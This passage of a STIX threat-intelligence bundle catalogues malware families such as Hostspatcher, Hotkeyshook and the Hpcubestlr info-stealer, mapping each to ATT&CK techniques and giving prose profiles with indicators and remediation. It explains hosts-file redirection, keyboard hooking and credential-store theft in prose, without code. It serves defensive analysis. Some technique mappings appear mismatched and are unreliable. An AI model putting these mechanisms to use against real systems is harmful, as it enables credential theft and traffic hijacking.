      "description": "<h3>Executive Summary</h3>\nHostsEditor (often categorized as Riskware, HackTool, or Trojan.Hosts) refers to malicious software or scripts designed specifically to tamper with the Windows `hosts` file (`C:\\Windows\\System32\\drivers\\etc\\hosts`). By maliciously altering this critical system file, attackers can redirect web traffic, block access to security updates, and facilitate highly effective phishing campaigns without needing to compromise DNS servers.\n\n<h3>Technical Exploitation and Capabilities</h3>\nThe Windows `hosts` file acts as a local DNS override. Before a computer queries an external DNS server to resolve a domain name (like `www.google.com`) into an IP address, it first checks the `hosts` file. HostsEditor exploits this localized trust.\n\nTypical malicious modifications include:\n<ul>\n<li><strong>Security Blocking:</strong> The malware adds entries that map the domains of major antivirus vendors (e.g., `update.symantec.com`, `microsoft.com`) to the local loopback address (`127.0.0.1`). This completely prevents the infected system from downloading critical antivirus definition updates or OS patches, leaving the system highly vulnerable.</li>\n<li><strong>Phishing Redirection (Pharming):</strong> HostsEditor maps the domain names of popular banks, social media sites, or corporate portals to the IP address of a malicious server controlled by the attacker. When the user types the legitimate URL, they are silently redirected to a pixel-perfect fake login page designed to harvest their credentials.</li>\n<li><strong>Adware Injection:</strong> Some variants redirect high-traffic domains to affiliate ad networks or servers hosting exploit kits.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nModifying the `hosts` file is a subtle but highly effective attack vector. Because the redirection occurs at the OS level, it bypasses browser-based anti-phishing protections. Users believe they are visiting a legitimate site because the URL bar displays the correct domain name, making credential theft highly probable.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>File Integrity Monitoring (FIM):</strong> The Windows `hosts` file rarely changes in modern enterprise environments. Deploy FIM solutions to immediately alert security teams to any unauthorized modifications to this file.</li>\n<li><strong>Manual Remediation:</strong> The immediate fix requires administrative privileges. Open the `hosts` file in a text editor (like Notepad) and delete all unauthorized IP-to-domain mappings. A clean, default Windows `hosts` file should only contain commented lines (starting with `#`) and the localhost loopback entry.</li>\n<li><strong>Root Cause Analysis:</strong> While fixing the file is trivial, responders must identify *what* modified it. Conduct a full antivirus scan and EDR review to locate the initial malware payload (the HostsEditor) that performed the modification.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Hosts",
        "Riskware.HostsEditor",
        "HackTool:Win32/HostsMod"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hostseditor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hostseditor"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbf5d4f5-0e4c-5ca5-b073-18fcf7e9504d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f38eaf52-be2e-58a3-9cf7-f7d4fd4a5174",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostseditor exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Closing SMB ports to protect its host from competing malware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a5335b8-3a6c-5079-8613-20a3f6b6186f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f38eaf52-be2e-58a3-9cf7-f7d4fd4a5174",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostseditor exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1be59704-830a-57ac-b538-b6a264d26848",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f38eaf52-be2e-58a3-9cf7-f7d4fd4a5174",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostseditor exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c376fe2-121f-5416-a604-53eda293fce6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hostspatcher",
      "description": "Riskware:Win32/Hostspatcher (or Trojan:Win32/Hostspatcher) is a specific classification for malware or Potentially Unwanted Applications (PUAs) whose primary function is to maliciously modify the Windows **HOSTS file** (`%SystemRoot%\\System32\\drivers\\etc\\hosts`). The HOSTS file is a local text file used by the operating system to map hostnames to IP addresses, overriding DNS. By altering this file, attackers can silently redirect a user's web traffic without touching the browser's settings.<br><br><b>Understanding the Hostspatcher Threat</b><br>To an end-user, the effects of a Hostspatcher are often baffling; they type `google.com` but end up on a search engine filled with ads, or they try to visit their bank but land on a perfect phishing replica. For a security analyst, unauthorized modification of the HOSTS file is a critical indicator of compromise, used for both aggressive adware injection and severe defense evasion.<br><br><b>Execution and Redirection Mechanics</b><br>Hostspatcher is usually dropped by secondary malware or deceptive software bundles (`T1189`). Upon execution with administrative privileges, the malware opens the local `hosts` file (`T1562.001`). It appends new routing rules. For example, to inject ads, it might map `www.yahoo.com` to the IP address of an attacker-controlled adware server (`T1112`). Crucially, to evade detection, Hostspatcher malware almost always adds entries mapping the update domains of major Antivirus vendors (e.g., `update.symantec.com`, `liveupdate.mcafee.com`) to `127.0.0.1` (localhost) or `0.0.0.0`. This effectively blinds the local AV, preventing it from downloading the new signatures needed to detect the malware.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the silent interception of web traffic and the crippling of local security defenses. Host-based IoCs include EDR alerts for any process (other than `notepad.exe` run by an admin) attempting to write to the `\\drivers\\etc\\hosts` file. A manual review of the HOSTS file will reveal dozens or hundreds of unauthorized entries. Users may report 'Certificate Errors' when browsing, as the hijacked IP addresses will not have valid SSL certificates for the requested domain. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hostspatcher",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hostspatcher"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b952d4ff-457e-5f2a-9a04-b5b0c4d0ea28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c376fe2-121f-5416-a604-53eda293fce6",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostspatcher exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking AV updates via HOSTS))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70402593-3dbe-509d-9258-54183458fd20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c376fe2-121f-5416-a604-53eda293fce6",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostspatcher exhibits technique T1112 (Modify Registry / Local Files (Writing to the HOSTS file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea14581b-7dea-551e-82fa-b0298df76e24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c376fe2-121f-5416-a604-53eda293fce6",
      "target_ref": "attack-pattern--d52d47c8-1179-5476-95ef-decb6e322680",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostspatcher exhibits technique T1556 (Modify Authentication Process (Redirecting to phishing sites))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c39e37ff-d9a9-5313-a7a1-295af2655868",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c376fe2-121f-5416-a604-53eda293fce6",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostspatcher exhibits technique T1498 (Network Denial of Service (Routing traffic to localhost))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5cf7e6b1-6df8-5b88-99a5-66528ff64f2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hostwack",
      "description": "Trojan:Win32/Hostwack is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hostwack</b><br>To an end-user, a Hostwack infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hostwack is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hostwack is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hostwack frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hostwack reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hostwack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hostwack"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfe71c5f-a6bd-517a-b90c-7529c3e1dcd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cf7e6b1-6df8-5b88-99a5-66528ff64f2f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostwack exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16b3f81e-e0a0-52a9-9e67-eb16c681cad9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cf7e6b1-6df8-5b88-99a5-66528ff64f2f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostwack exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d6fd42a-8532-527f-ab61-48ca96f39140",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cf7e6b1-6df8-5b88-99a5-66528ff64f2f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostwack exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56d6944b-5959-5977-b1d2-740bbd55ecf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cf7e6b1-6df8-5b88-99a5-66528ff64f2f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostwack exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da8f22c8-2ca6-5a36-844a-fd6891ab8ed3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cf7e6b1-6df8-5b88-99a5-66528ff64f2f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostwack exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--905fae86-8083-5ba7-9545-b02d8ee0d0f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hotbar",
      "description": "Hotbar (cataloged across security vendors and threat intelligence databases under signatures including Adware:Win32/Hotbar, PUA:Win32/Hotbar, and Toolbar.Hotbar) is a landmark historical adware and browser toolbar platform originating in 2000. Developed by Hotbar.com Inc., the utility was promoted as a free customization suite that added graphic skins, emoticons, weather alerts, and search toolbars to Internet Explorer, Microsoft Outlook, and Outlook Express. Behind its visual customization interface, Hotbar integrated persistent background monitoring and monetization components. The software performed continuous surveillance of user web browsing habits, search terms, and email clients, relaying behavioral analytics to remote servers to inject contextual pop-up and pop-under advertisements, hijack default search providers, and modify browser error pages while demonstrating stubborn resistance to standard uninstallation. (Observed samples in benchmark: 47)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Hotbar",
        "PUA:Win32/Hotbar",
        "Toolbar.Hotbar",
        "Win32/Hotbar",
        "Hotbar Adware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hotbar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hotbar"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50d95ca9-e0b4-5b55-a2e3-c6056279ca38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--905fae86-8083-5ba7-9545-b02d8ee0d0f0",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hotbar exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ce78b46-119f-56fe-a91f-bbad894d6c31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--905fae86-8083-5ba7-9545-b02d8ee0d0f0",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hotbar exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3cf9f2c-1216-5946-9cbf-f4d5cd0b2f4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--905fae86-8083-5ba7-9545-b02d8ee0d0f0",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hotbar exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--811bbc6e-0310-51a9-85e9-5b280ee1553d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--905fae86-8083-5ba7-9545-b02d8ee0d0f0",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hotbar exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd2ea38a-9ac4-5efb-bdd8-b173e2c79a07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--905fae86-8083-5ba7-9545-b02d8ee0d0f0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hotbar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--47809596-3938-50d2-8d93-5eb714a1bb1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hotdownloads",
      "description": "Adware:Win32/Hotdownloads is a widespread Potentially Unwanted Program (PUP) categorized as a 'Bundler' or 'Wrapper'. Its primary function is to act as an installation conduit for other software. While it may install a legitimate freeware application the user intended to download, its deceptive core purpose is to silently package and install multiple other unwanted applications\u2014such as browser hijackers, fake system optimizers, and aggressive adware\u2014to generate pay-per-install revenue.<br><br><b>Understanding Hotdownloads (Software Bundling)</b><br>To an end-user, executing Hotdownloads looks like a normal, albeit cluttered, software setup wizard. However, if the user rapidly clicks 'Next' without reading the fine print (employing 'dark pattern' UI design), their machine is flooded with unwanted software. For a security administrator, Hotdownloads represents a significant risk to endpoint hygiene and a primary vector for introducing vulnerabilities and data-tracking components (`T1189`).<br><br><b>Execution and Deception Mechanics</b><br>Hotdownloads is heavily distributed via third-party software download portals or through deceptive advertisements offering 'free' utilities. Upon execution (`T1204.002`), the wrapper requests Administrator privileges. It then communicates with its backend servers (`T1105`) to download and silently install the bundled payloads in the background while displaying the installation progress for the primary application. These secondary payloads establish their own persistence (`T1547.001`), aggressively modify browser settings (`T1562.001`), and begin displaying intrusive advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, massive system slowdowns, and increased attack surface. Host-based IoCs include the sudden appearance of multiple unknown applications in the Windows 'Programs and Features' list occurring at the exact same timestamp, new browser extensions, and hijacked homepage settings. Network IoCs include EDR alerts for a single installer process spawning multiple child setup processes or making numerous outbound connections to diverse software distribution domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hotdownloads",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hotdownloads"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70f3e3f7-0261-56be-90dc-9ebb73b39251",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47809596-3938-50d2-8d93-5eb714a1bb1d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hotdownloads exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling portals))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f69709e9-29e4-58f0-87c0-f575945a6138",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47809596-3938-50d2-8d93-5eb714a1bb1d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hotdownloads exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary bundled payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bc397b0-9274-5fba-af26-c32ad4d17eca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47809596-3938-50d2-8d93-5eb714a1bb1d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hotdownloads exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking by the payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0fcdf1ad-0de6-57e3-acea-534b73b94daf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hotkeyshook",
      "description": "Behavior:Win32/Hotkeyshook is a critical **Heuristic and Behavioral Detection** flagged by modern EDR and antivirus solutions. It is not a specific malware family, but rather an alert that a running process is attempting to aggressively hook into the Windows API to intercept keyboard input. This is the primary, classic mechanism used by Keyloggers, Spyware, and Banking Trojans to steal passwords and sensitive data as it is being typed.<br><br><b>Understanding Hotkeyshook (API Hooking)</b><br>To an end-user, this behavior is invisible; their keyboard continues to work normally. For a security analyst, a Hotkeyshook alert is a severe privacy and credential compromise indicator. It means an unauthorized application is utilizing the `SetWindowsHookEx` API call, specifically requesting `WH_KEYBOARD` or `WH_KEYBOARD_LL` (low-level keyboard hook) privileges (`T1056.001`), allowing the malware to record every keystroke before it even reaches the intended application.<br><br><b>Execution and Hooking Mechanics</b><br>The infection typically begins with user execution (`T1204.002`) of a disguised trojan. Once running in memory, the malware calls `SetWindowsHookEx`, pointing the operating system to a malicious function (the 'hook procedure') within its own code or an injected DLL (`T1055.001`). From that point on, every time a key is pressed, Windows pauses, passes the key data to the malware's hook procedure (which logs it to a hidden file), and then passes it back to the legitimate application. The malware regularly exfiltrates this log file to a C2 server.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of all typed data, including passwords, emails, and financial information. Host-based IoCs include EDR telemetry showing unauthorized DLLs loaded into `explorer.exe` or web browsers, and the presence of hidden text or `.dat` files accumulating data in the `%AppData%` directory. Network IoCs may involve periodic HTTP POST requests containing encrypted or base64-encoded strings. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hotkeyshook",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hotkeyshook"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9189aef4-77a3-59fd-8289-2061b973c0f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fcdf1ad-0de6-57e3-acea-534b73b94daf",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hotkeyshook exhibits technique T1056.001 (Input Capture: Keylogging (via SetWindowsHookEx))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--272c6490-3058-53dd-83cd-f9db721488da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fcdf1ad-0de6-57e3-acea-534b73b94daf",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hotkeyshook exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (Injecting the hook DLL))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--872ed756-522c-5709-8a7c-82708cab0732",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fcdf1ad-0de6-57e3-acea-534b73b94daf",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hotkeyshook exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (API Hooking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab00e60c-978e-5405-bc08-bcc77d40c239",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Houndhack",
      "description": "Houndhack (cataloged in anti-malware databases and threat encyclopedias as HackTool:Win32/HoundHack, Backdoor:Win32/HoundHack, and Trojan.HoundHack) is a historic Windows remote administration tool and hacktool active in the underground hacker community since the mid-2000s. Originally released as an offensive post-exploitation and remote surveillance utility, Houndhack combines features of a classic Remote Access Trojan (RAT) with network scanning and port exploitation modules. Once installed on a host, Houndhack establishes a hidden TCP server or initiates a reverse TCP connection to attacker infrastructure. It empowers remote operators to perform keystroke logging, capture screen images, manipulate running processes, browse and transfer local files, edit the Windows registry, and launch localized denial-of-service (DoS) or port scanning attacks against adjacent network nodes. (Observed samples in benchmark: 34)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/HoundHack",
        "Backdoor:Win32/HoundHack",
        "Trojan.HoundHack",
        "Win32/HoundHack",
        "HackTool.HoundHack",
        "HoundHack RAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Houndhack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/houndhack"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--885c38ae-ef46-5d73-9096-5de3759b8355",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hpcubestlr",
      "description": "Trojan:Win32/Hpcubestlr is a highly specialized Information Stealer (Info-Stealer) specifically engineered to locate, extract, and exfiltrate highly sensitive data from compromised endpoints. Unlike broad-spectrum trojans, Hpcubestlr targets high-value data repositories: saved web browser credentials, cryptocurrency wallet files (`T1114`), system configuration files, and authentication tokens (like Discord or Telegram session hijacking).<br><br><b>Understanding Hpcubestlr (Info-Stealers)</b><br>To an end-user, the infection is entirely invisible. For a security team, Hpcubestlr represents an immediate, catastrophic breach of confidentiality. The stolen credentials are often immediately utilized by the attackers for lateral movement, or packaged and sold on dark web marketplaces (like Genesis Market or 2easy) to Initial Access Brokers.<br><br><b>Execution and Extraction Mechanics</b><br>Hpcubestlr is distributed through various vectors: cracked software portals, spear-phishing (`T1566.001`), or dropped by other malware (like a botnet). Upon execution, it does not typically establish long-term persistence; its goal is 'smash and grab.' It rapidly scans the file system for known credential store locations (`T1555.003`), utilizing built-in SQLite parsing to extract passwords from Chrome, Edge, and Firefox without requiring user interaction. It specifically targets cryptocurrency extensions (like MetaMask) and desktop wallets (like Electrum or Bitcoin Core). It packages this data into a compressed archive (`T1560.001`) and exfiltrates it immediately to a C2 server, often via a Telegram bot API or a hardcoded FTP server.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of the user's digital identity and the high probability of subsequent enterprise breaches if corporate credentials were stolen. Host-based IoCs include EDR alerts for anomalous file reads targeting `AppData\\Local\\Google\\Chrome\\User Data` or cryptocurrency wallet directories by an unknown executable. File integrity monitoring 